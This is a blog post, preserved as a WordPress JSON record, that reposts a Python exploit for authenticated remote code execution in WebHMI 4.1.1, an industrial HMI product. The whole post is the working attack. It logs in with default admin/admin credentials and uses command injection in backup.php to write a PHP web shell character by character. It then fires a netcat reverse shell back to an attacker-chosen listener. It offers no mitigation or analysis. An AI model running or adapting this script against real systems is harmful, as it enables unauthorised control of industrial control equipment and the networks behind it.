{"id":21028,"date":"2022-02-23T18:59:00","date_gmt":"2022-02-23T15:59:00","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166117\/webhmi411-exec.txt"},"modified":"2022-02-28T10:52:04","modified_gmt":"2022-02-28T07:22:04","slug":"webhmi-4-1-1-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/webhmi-4-1-1-remote-code-execution\/","title":{"rendered":"WebHMI 4.1.1 Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: WebHMI 4.1.1 &#8211; Remote Code Execution (RCE) (Authenticated)<br \/>\n# Date: 03\/01\/2022<br \/>\n# Exploit Author: Antonio Cuomo (arkantolo)<br \/>\n# Vendor Homepage: https:\/\/webhmi.com.ua\/en\/<br \/>\n# Version: WebHMI 4.1.1.7662<br \/>\n# Tested on: WebHMI-4.1.1.7662<\/p>\n<p dir=\"ltr\">#!\/usr\/bin\/python<br \/>\nimport sys<br \/>\nimport re<br \/>\nimport argparse<br \/>\nimport requests<br \/>\nimport time<br \/>\nimport subprocess<\/p>\n<p dir=\"ltr\">print(&#8220;\\nWebHMI 4.1.1 &#8211; Remote Code Execution (Authenticated)&#8221;,&#8221;\\nExploit Author: Antonio Cuomo (Arkantolo)\\n&#8221;)<br \/>\nprint(&#8220;Level2 account must be enabled !\\n&#8221;);<\/p>\n<p dir=\"ltr\">login = &#8220;admin&#8221;<br \/>\npassword = &#8220;admin&#8221;<\/p>\n<p dir=\"ltr\">class Exploit:<\/p>\n<p dir=\"ltr\">def __init__(self, target_ip, target_port, localhost, localport):<br \/>\nself.target_ip = target_ip<br \/>\nself.target_port = target_port<br \/>\nself.localhost = localhost<br \/>\nself.localport = localport<\/p>\n<p dir=\"ltr\">def exploitation(self):<br \/>\nreverse = &#8220;&#8221;&#8221;rm+\/tmp\/f%3bmknod+\/tmp\/f+p%3bcat+\/tmp\/f|\/bin\/sh+-i+2&gt;%261|nc+&#8221;&#8221;&#8221; + localhost + &#8220;&#8221;&#8221;+&#8221;&#8221;&#8221; + localport + &#8220;&#8221;&#8221;+&gt;\/tmp\/f&#8221;&#8221;&#8221;<br \/>\npayload = &#8220;&lt;?php+system($_GET[&#8216;c&#8217;]);+?&gt;&#8221;<\/p>\n<p dir=\"ltr\">headers_login = {<br \/>\n&#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/96.0.4664.110 Safari\/537.36&#8217;,<br \/>\n&#8216;Accept&#8217;: &#8216;application\/json, text\/javascript, *\/*; q=0.01&#8217;,<br \/>\n&#8216;Accept-Language&#8217;: &#8216;en-US,en;q=0.5&#8217;,<br \/>\n&#8216;Accept-Encoding&#8217;: &#8216;gzip, deflate&#8217;,<br \/>\n&#8216;Content-Type&#8217;: &#8216;application\/json&#8217;,<br \/>\n&#8216;X-WH-LOGIN&#8217;: login,<br \/>\n&#8216;X-WH-PASSWORD&#8217;: password,<br \/>\n&#8216;X-Requested-With&#8217;: &#8216;XMLHttpRequest&#8217;,<br \/>\n&#8216;Connection&#8217;: &#8216;close&#8217;,<br \/>\n&#8216;Content-Length&#8217;: &#8216;0&#8217;<br \/>\n}<\/p>\n<p dir=\"ltr\">url = &#8216;http:\/\/&#8217; + target_ip + &#8216;:&#8217; + target_port<br \/>\nr = requests.Session()<\/p>\n<p dir=\"ltr\">print(&#8216;[*] Resolving URL&#8230;&#8217;)<br \/>\nr1 = r.get(url)<br \/>\ntime.sleep(3)<\/p>\n<p dir=\"ltr\">print(&#8216;[*] Trying to log in&#8230;&#8217;)<br \/>\nr2 = r.post(url + &#8216;\/api\/signin&#8217;, headers=headers_login, allow_redirects=True)<br \/>\ntime.sleep(3)<\/p>\n<p dir=\"ltr\">print(&#8216;[*] Login redirection&#8230;&#8217;)<br \/>\nlogin_cookies = {<br \/>\n&#8216;X-WH-SESSION-ID&#8217;:r2.headers[&#8216;X-WH-SESSION-ID&#8217;],<br \/>\n&#8216;X-WH-CHECK-TRIAL&#8217;:&#8217;true&#8217;,<br \/>\n&#8216;il18next&#8217;:&#8217;en&#8217;,<br \/>\n}<br \/>\nr3 = r.post(url + &#8216;\/login.php?sid=&#8217; + r2.headers[&#8216;X-WH-SESSION-ID&#8217;] + &#8216;&amp;uid=1&#8217;,cookies=login_cookies)<br \/>\ntime.sleep(3)<\/p>\n<p dir=\"ltr\">print(&#8216;[*] Bypassing basedir&#8230;&#8217;)<br \/>\nfor i in range(0, len(payload)):<br \/>\n#print(payload[i])<br \/>\nrp = r.get(url + &#8216;\/setup\/backup.php?sync=`echo%20-n%20&#8243;&#8216; + payload[i] + &#8216;&#8221;&gt;&gt;cmd.php`&#8217;, cookies=login_cookies)<br \/>\ntime.sleep(0.2)<\/p>\n<p dir=\"ltr\">print(&#8216;[*] Setting up listener&#8230;&#8217;)<br \/>\nlistener = subprocess.Popen([&#8220;nc&#8221;, &#8220;-nlp&#8221;, self.localport])<br \/>\ntime.sleep(2)<\/p>\n<p dir=\"ltr\">print(&#8216;[*] Executing payload&#8230;&#8217;)<br \/>\ntime.sleep(1)<br \/>\nprint(&#8216;[*] Waiting reverse shell&#8230;&#8217;)<br \/>\nr4 = r.get(url + &#8216;\/setup\/cmd.php?c=`&#8217; + reverse + &#8216;`.bak&#8217;, cookies=login_cookies)<\/p>\n<p dir=\"ltr\">if (r4.status_code == 200):<br \/>\nprint(&#8216;[*] Got shell!&#8217;)<br \/>\nwhile True:<br \/>\nlistener.wait()<br \/>\nelse:<br \/>\nprint(&#8216;[-] Something went wrong!&#8217;)<br \/>\nlistener.terminate()<\/p>\n<p dir=\"ltr\">def get_args():<br \/>\nparser = argparse.ArgumentParser(description=&#8217;WebHMI 4.1.1 &#8211; Remote Code Execution (Authenticated)&#8217;)<br \/>\nparser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;target&#8217;, dest=&#8221;url&#8221;, required=True, action=&#8217;store&#8217;, help=&#8217;Target IP&#8217;)<br \/>\nparser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;port&#8217;, dest=&#8221;target_port&#8221;, required=True, action=&#8217;store&#8217;, help=&#8217;Target port&#8217;)<br \/>\nparser.add_argument(&#8216;-L&#8217;, &#8216;&#8211;listener-ip&#8217;, dest=&#8221;localhost&#8221;, required=True, action=&#8217;store&#8217;, help=&#8217;Local listening IP&#8217;)<br \/>\nparser.add_argument(&#8216;-P&#8217;, &#8216;&#8211;localport&#8217;, dest=&#8221;localport&#8221;, required=True, action=&#8217;store&#8217;, help=&#8217;Local listening port&#8217;)<br \/>\nargs = parser.parse_args()<br \/>\nreturn args<\/p>\n<p dir=\"ltr\">args = get_args()<br \/>\ntarget_ip = args.url<br \/>\ntarget_port = args.target_port<br \/>\nlocalhost = args.localhost<br \/>\nlocalport = args.localport<\/p>\n<p dir=\"ltr\">exp = Exploit(target_ip, target_port, localhost, localport)<br \/>\nexp.exploitation()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: WebHMI 4.1.1 &#8211; Remote Code Execution (RCE) (Authenticated) # Date: 03\/01\/2022 # Exploit Author: Antonio Cuomo (arkantolo) # Vendor Homepage: https:\/\/webhmi.com.ua\/en\/ # Version: WebHMI 4.1.1.7662 # Tested on: WebHMI-4.1.1.7662 #!\/usr\/bin\/python import sys import re import argparse import requests import time import subprocess print(&#8220;\\nWebHMI 4.1.1 &#8211; Remote Code Execution (Authenticated)&#8221;,&#8221;\\nExploit Author: Antonio Cuomo &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21028","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21028","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21028"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21028\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21028"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21028"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21028"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}